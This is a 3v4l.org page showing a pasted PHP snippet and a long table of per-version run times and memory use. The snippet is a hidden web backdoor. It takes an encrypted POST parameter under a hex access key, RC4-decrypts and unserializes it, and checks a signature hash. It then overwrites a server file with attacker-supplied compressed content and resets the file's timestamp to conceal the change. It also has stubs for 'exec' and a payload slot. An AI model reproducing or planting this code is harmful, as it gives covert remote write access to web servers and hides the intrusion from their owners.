3v4l.org

run code in 300+ PHP versions simultaneously
<?php $__["key1"]= "da17298d87447351e5473e334c41ba4b"; // Access key $__["key2"]= "ce0c742ad350ee7e0a26466fd9b5f56b"; // Crypto key $__["key3"]= "3bf6228c859400c084adea9a5e5f7b11"; // Signature (03eb720a3353aa0ca3d6e4fc21982c98) if (is_set ($_POST[$__["key1"]])) { $__["request"]= base64_decode ($_POST[$__["key1"]]); for($__["tmp"]["i"],$__["tmp"]["c"];$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["i"]; for($__["tmp"]["i"]=0x0,$__["tmp"]["d"],$__["tmp"]["e"],$g=strlen($__["key2"]);$__["tmp"]["i"]<0x100;$__["tmp"]["i"]++) { $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]]+ord($__["key2"][$__["tmp"]["i"]%$g]))%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; } for($__["tmp"]["y"],$__["tmp"]["i"],$__["tmp"]["d"]=0x0,$__["data"];$__["tmp"]["y"]<strlen($__["request"]);$__["tmp"]["y"]++) { $__["tmp"]["i"]=($__["tmp"]["i"]+0x1)%0x100; $__["tmp"]["d"]=($__["tmp"]["d"]+$__["tmp"]["c"][$__["tmp"]["i"]])%0x100; $__["tmp"]["e"]=$__["tmp"]["c"][$__["tmp"]["i"]]; $__["tmp"]["c"][$__["tmp"]["i"]]=$__["tmp"]["c"][$__["tmp"]["d"]]; $__["tmp"]["c"][$__["tmp"]["d"]]=$__["tmp"]["e"]; $__["data"].=chr(ord($__["request"][$__["tmp"]["y"]])^$__["tmp"]["c"][($__["tmp"]["c"][$__["tmp"]["i"]]+$__["tmp"]["c"][$__["tmp"]["d"]])%0x100]); } $__["data"]= unserialize ($__["data"]); if (is_array ($__["data"]) && md5 ($__["data"]["sing"]) == $__["key3"]) switch ($__["data"]["action"]) { case "update": $__["info"]= filectime ($__["file"]) - 0x5103073C; file_put_contents($__["file"], gzinflate (base64_decode ($__["data"]["data"]))); touch ($__["file"], 0x5103073C); echo md5 ($__["key1"].$__["key2"].$__["key3"]).serialize (array ("state" => "OK", "info" => $__["info"])).md5 ($__["key1"].$__["key2"].$__["key3"]); break; case "exec": case "info": default: break; } } if (true/*expr*/) { touch ($__["file"], filectime ($__["file"]) + 1); ?>/*payload*/<?php }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0170.00318.31
8.3.50.0120.00721.27
8.3.40.0120.00318.97
8.3.30.0110.00420.48
8.3.20.0070.00020.39
8.3.10.0080.00021.75
8.3.00.0040.00422.39
8.2.180.0070.00716.88
8.2.170.0000.01422.96
8.2.160.0070.01321.98
8.2.150.0030.00625.66
8.2.140.0000.00724.66
8.2.130.0070.00026.16
8.2.120.0050.00320.67
8.2.110.0040.00420.47
8.2.100.0060.00617.98
8.2.90.0030.00619.21
8.2.80.0040.00419.58
8.2.70.0050.00517.63
8.2.60.0040.00417.89
8.2.50.0040.00418.07
8.2.40.0080.00018.34
8.2.30.0040.00419.60
8.2.20.0020.00517.84
8.2.10.0050.00317.77
8.2.00.0040.00417.67
8.1.280.0070.01425.92
8.1.270.0000.00823.99
8.1.260.0080.00026.35
8.1.250.0080.00028.09
8.1.240.0120.00923.73
8.1.230.0040.00723.91
8.1.220.0030.00517.91
8.1.210.0030.00518.77
8.1.200.0030.00717.35
8.1.190.0040.00417.66
8.1.180.0040.00418.89
8.1.170.0030.00618.60
8.1.160.0080.00020.50
8.1.150.0070.00318.63
8.1.140.0000.00717.53
8.1.130.0000.00717.89
8.1.120.0040.00417.52
8.1.110.0040.00417.49
8.1.100.0030.00517.31
8.1.90.0040.00417.48
8.1.80.0040.00417.38
8.1.70.0030.00317.34
8.1.60.0000.00717.47
8.1.50.0040.00417.61
8.1.40.0000.00817.60
8.1.30.0080.00017.63
8.1.20.0000.00817.69
8.1.10.0040.00417.66
8.1.00.0000.00717.50
8.0.300.0000.00818.77
8.0.290.0030.00617.17
8.0.280.0000.00718.50
8.0.270.0040.00417.31
8.0.260.0030.00316.90
8.0.250.0030.00317.10
8.0.240.0000.00817.13
8.0.230.0070.00016.95
8.0.220.0050.00316.89
8.0.210.0000.00717.03
8.0.200.0070.00017.00
8.0.190.0000.00916.97
8.0.180.0040.00416.97
8.0.170.0040.00416.97
8.0.160.0000.00716.95
8.0.150.0050.00217.08
8.0.140.0080.00016.85
8.0.130.0030.00313.52
8.0.120.0060.00317.02
8.0.110.0050.00216.94
8.0.100.0060.00316.84
8.0.90.0040.00417.04
8.0.80.0040.01116.98
8.0.70.0040.00416.84
8.0.60.0000.00716.95
8.0.50.0040.00416.95
8.0.30.0110.00717.22
8.0.20.0120.00617.40
8.0.10.0000.00817.04
8.0.00.0100.01016.76
7.4.330.0000.00515.00
7.4.320.0030.00316.46
7.4.300.0070.00016.60
7.4.290.0020.00516.64
7.4.280.0060.00316.55
7.4.270.0080.00016.67
7.4.260.0060.00013.46
7.4.250.0000.00716.45
7.4.240.0020.00516.68
7.4.230.0030.00316.53
7.4.220.0060.01616.76
7.4.210.0040.01116.73
7.4.200.0000.00716.72
7.4.190.0000.00716.87
7.4.160.0030.01416.66
7.4.150.0130.01317.40
7.4.140.0100.00917.86
7.4.130.0030.01416.63
7.4.120.0060.01216.60
7.4.110.0060.01616.57
7.4.100.0140.00716.64
7.4.90.0140.00416.71
7.4.80.0110.00719.39
7.4.70.0100.00816.75
7.4.60.0120.00616.53
7.4.50.0090.00016.58
7.4.40.0070.01022.77
7.4.30.0090.01216.77
7.4.10.0040.01415.20
7.4.00.0100.00615.09
7.3.330.0030.00313.35
7.3.320.0060.00013.27
7.3.310.0000.00716.39
7.3.300.0000.00616.44
7.3.290.0070.01016.47
7.3.280.0100.00516.44
7.3.270.0110.00717.40
7.3.260.0200.00316.45
7.3.250.0150.00216.35
7.3.240.0050.01216.67
7.3.230.0080.00916.82
7.3.210.0090.00916.59
7.3.200.0070.01119.39
7.3.190.0120.00816.49
7.3.180.0100.00616.41
7.3.170.0120.00616.33
7.3.160.0100.00716.39
7.3.130.0110.00715.03
7.3.120.0060.01115.11
7.3.110.0060.01114.72
7.3.100.0070.00715.02
7.3.90.0040.01015.10
7.3.80.0050.00615.13
7.3.70.0000.01214.85
7.3.60.0030.00914.98
7.3.50.0050.00615.10
7.3.40.0040.00914.85
7.3.30.0060.00814.94
7.3.20.0090.00316.63
7.3.10.0060.00816.70
7.3.00.0040.00716.69
7.2.330.0130.00916.81
7.2.320.0140.00416.80
7.2.310.0070.01116.79
7.2.300.0030.01516.75
7.2.290.0120.00316.73
7.2.260.0090.00815.02
7.2.250.0080.00814.88
7.2.240.0050.00715.10
7.2.230.0030.00715.07
7.2.220.0050.01114.88
7.2.210.0020.01314.96
7.2.200.0020.01114.95
7.2.190.0060.00715.11
7.2.180.0050.00815.00
7.2.170.0030.01014.84
7.2.160.0050.00815.09
7.2.150.0020.01216.76
7.2.140.0080.00716.81
7.2.130.0020.01016.76
7.2.120.0030.01216.60
7.2.110.0060.00616.73
7.2.100.0040.01116.73
7.2.90.0090.00716.84
7.2.80.0070.00716.93
7.2.70.0080.00616.89
7.2.60.0040.01016.67
7.2.50.0050.01016.78
7.2.40.0060.00516.89
7.2.30.0060.00316.79
7.2.20.0040.01216.79
7.2.10.0050.01116.82
7.2.00.0130.00317.49
7.1.330.0050.00715.59
7.1.320.0070.00715.76
7.1.310.0030.00815.63
7.1.300.0020.00615.69
7.1.290.0030.00615.80
7.1.280.0080.00515.78
7.1.270.0090.00515.70
7.1.260.0070.00715.63
7.1.250.0100.00415.79
7.1.240.0040.01215.56
7.1.230.0030.01315.60
7.1.220.0000.01415.78
7.1.210.0040.00815.66
7.1.200.0080.00515.57
7.1.190.0020.01015.73
7.1.180.0060.00815.58
7.1.170.0080.00415.77
7.1.160.0060.00715.51
7.1.150.0030.00815.72
7.1.140.0060.00815.76
7.1.130.0070.00815.77
7.1.120.0080.00415.71
7.1.110.0070.00715.84
7.1.100.0090.00516.56
7.1.90.0030.01015.70
7.1.80.0050.00715.50
7.1.70.0050.00716.15
7.1.60.0030.01316.91
7.1.50.0080.00815.94
7.1.40.0050.01015.66
7.1.30.0050.00815.61
7.1.20.0030.01115.51
7.1.10.0060.00815.68
7.1.00.0030.02417.95
7.0.330.0020.01115.47
7.0.320.0030.00915.39
7.0.310.0070.00615.27
7.0.300.0040.00815.53
7.0.290.0030.00815.25
7.0.280.0030.01115.29
7.0.270.0040.00615.32
7.0.260.0060.00915.44
7.0.250.0070.00515.50
7.0.240.0030.01015.42
7.0.230.0030.00615.35
7.0.220.0080.00515.36
7.0.210.0080.00715.38
7.0.200.0030.00815.76
7.0.190.0040.01015.44
7.0.180.0080.00815.30
7.0.170.0080.00815.29
7.0.160.0030.00815.41
7.0.150.0050.00915.24
7.0.140.0030.03117.43
7.0.130.0030.01115.26
7.0.120.0080.00415.26
7.0.110.0070.00815.31
7.0.100.0070.03116.90
7.0.90.0050.03416.92
7.0.80.0050.03216.84
7.0.70.0050.03216.89
7.0.60.0070.02716.84
7.0.50.0070.03017.12
7.0.40.0040.03315.63
7.0.30.0050.03315.64
7.0.20.0100.03115.53
7.0.10.0040.03215.61
7.0.00.0080.01915.68
5.6.400.0080.00714.33
5.6.390.0060.00814.57
5.6.380.0040.00914.21
5.6.370.0040.00914.38
5.6.360.0090.00414.15
5.6.350.0030.00814.20
5.6.340.0090.00614.40
5.6.330.0030.00914.31
5.6.320.0050.01114.41
5.6.310.0090.00714.41
5.6.300.0030.00914.61
5.6.290.0100.00614.20
5.6.280.0040.02916.54
5.6.270.0070.00514.62
5.6.260.0070.00914.34
5.6.250.0040.02516.51
5.6.240.0030.03316.43
5.6.230.0040.03416.47
5.6.220.0090.01916.46
5.6.210.0080.02416.35
5.6.200.0060.03316.37
5.6.190.0070.03316.55
5.6.180.0070.02516.58
5.6.170.0100.02916.45
5.6.160.0070.02216.52
5.6.150.0040.02216.47
5.6.140.0070.01816.53
5.6.130.0060.01716.52
5.6.120.0050.01816.65
5.6.110.0030.03116.51
5.6.100.0070.01616.65
5.6.90.0090.01516.52
5.6.80.0060.01716.35
5.6.70.0060.01916.21
5.6.60.0030.02116.17
5.6.50.0050.01816.36
5.6.40.0060.01716.21
5.6.30.0040.01716.29
5.6.20.0040.01816.25
5.6.10.0020.01816.28
5.6.00.0030.02016.24
5.5.380.0080.02616.11
5.5.370.0100.01816.19
5.5.360.0030.02216.23
5.5.350.0040.02916.31
5.5.340.0070.02916.45
5.5.330.0060.02916.38
5.5.320.0080.01916.49
5.5.310.0050.03116.35
5.5.300.0090.01616.44
5.5.290.0070.01916.20
5.5.280.0040.01916.42
5.5.270.0020.01916.33
5.5.260.0040.02016.53
5.5.250.0030.01916.33
5.5.240.0050.01716.15
5.5.230.0050.01916.16
5.5.220.0030.01715.97
5.5.210.0080.02716.25
5.5.200.0030.02216.05
5.5.190.0000.02316.04
5.5.180.0060.01816.07
5.5.170.0030.01014.11
5.5.160.0050.01716.11
5.5.150.0070.01716.10
5.5.140.0080.01716.06
5.5.130.0050.01816.18
5.5.120.0040.02616.10
5.5.110.0050.01816.14
5.5.100.0050.01716.03
5.5.90.0090.02016.11
5.5.80.0100.01516.06
5.5.70.0090.01415.97
5.5.60.0100.01415.99
5.5.50.0060.01816.12
5.5.40.0050.01615.93
5.5.30.0060.02116.01
5.5.20.0060.01616.17
5.5.10.0050.02415.88
5.5.00.0020.02116.07
5.4.450.0040.01813.85
5.4.440.0030.01713.81
5.4.430.0050.01613.88
5.4.420.0060.01513.87
5.4.410.0070.01313.63
5.4.400.0040.01613.66
5.4.390.0020.01713.69
5.4.380.0020.02013.51
5.4.370.0050.01613.64
5.4.360.0060.01513.68
5.4.350.0050.01913.63
5.4.340.0010.01913.65
5.4.330.0070.00211.00
5.4.320.0040.01713.65
5.4.310.0020.02413.64
5.4.300.0070.01413.64
5.4.290.0050.01413.78
5.4.280.0060.01413.71
5.4.270.0060.01413.63
5.4.260.0050.01513.67
5.4.250.0070.01313.76
5.4.240.0030.01813.61
5.4.230.0050.01413.60
5.4.220.0080.02713.55
5.4.210.0030.01913.48
5.4.200.0040.01713.59
5.4.190.0080.01613.62
5.4.180.0050.02913.66
5.4.170.0020.01713.66
5.4.160.0070.02013.77
5.4.150.0080.02713.64
5.4.140.0040.02412.79
5.4.130.0080.02712.82
5.4.120.0050.01712.72
5.4.110.0050.02712.84
5.4.100.0010.03212.80
5.4.90.0110.02012.82
5.4.80.0050.02812.81
5.4.70.0060.02612.79
5.4.60.0070.02812.84
5.4.50.0020.03012.84
5.4.40.0050.03012.76
5.4.30.0040.01912.80
5.4.20.0050.02812.74
5.4.10.0070.02412.81
5.4.00.0060.02712.59
5.3.290.0020.01812.08
5.3.280.0040.02012.02
5.3.270.0030.01712.04
5.3.260.0040.02212.00
5.3.250.0040.01612.08
5.3.240.0030.02912.00
5.3.230.0070.02712.04
5.3.220.0040.02912.05
5.3.210.0050.01811.98
5.3.200.0030.02712.01
5.3.190.0050.02912.04
5.3.180.0020.03112.02
5.3.170.0080.01612.05
5.3.160.0060.02912.08
5.3.150.0070.02712.04
5.3.140.0050.03012.04
5.3.130.0060.03112.04
5.3.120.0050.02812.00
5.3.110.0060.03012.03
5.3.100.0060.02611.89
5.3.90.0030.03311.88
5.3.80.0050.02611.75
5.3.70.0030.02611.82
5.3.60.0010.03111.86
5.3.50.0030.03111.76
5.3.40.0110.02211.81
5.3.30.0040.03011.78
5.3.20.0090.02611.77
5.3.10.0020.03011.70
5.3.00.0030.03111.70
5.2.170.0070.04711.23
5.2.160.0030.06311.23
5.2.150.0000.06711.23
5.2.140.0030.06311.23
5.2.130.0030.06011.23
5.2.120.0030.06311.23
5.2.110.0070.06011.23
5.2.100.0030.06311.23
5.2.90.0030.03711.23
5.2.80.0070.05711.23
5.2.70.0100.05711.23
5.2.60.0000.06711.23
5.2.50.0100.03311.23
5.2.40.0130.03311.23
5.2.30.0070.05311.23
5.2.20.0170.04311.23
5.2.10.0030.05711.23
5.2.00.0000.06011.23
5.1.60.0030.05311.23
5.1.50.0070.04711.23
5.1.40.0070.05011.23
5.1.30.0100.05311.23
5.1.20.0030.04311.23
5.1.10.0070.04711.23
5.1.00.0030.05311.23
5.0.50.0070.03311.23
5.0.40.0000.04711.23
5.0.30.0030.05311.23
5.0.20.0030.04311.23
5.0.10.0000.03711.23
5.0.00.0000.06311.23
4.4.90.0030.02311.23
4.4.80.0000.04011.23
4.4.70.0070.03011.23
4.4.60.0070.03311.23
4.4.50.0030.03311.23
4.4.40.0000.05011.23
4.4.30.0100.03011.23
4.4.20.0030.03711.23
4.4.10.0000.03711.23
4.4.00.0100.05011.23
4.3.110.0000.03711.23
4.3.100.0000.04011.23
4.3.90.0030.03011.23
4.3.80.0000.03311.23
4.3.70.0030.03311.23
4.3.60.0100.03011.23
4.3.50.0030.03711.23
4.3.40.0070.04711.23
4.3.30.0000.03711.23
4.3.20.0000.02311.23
4.3.10.0030.03311.23
4.3.00.0000.03711.23

preferences:
42.04 ms | 401 KiB | 5 Q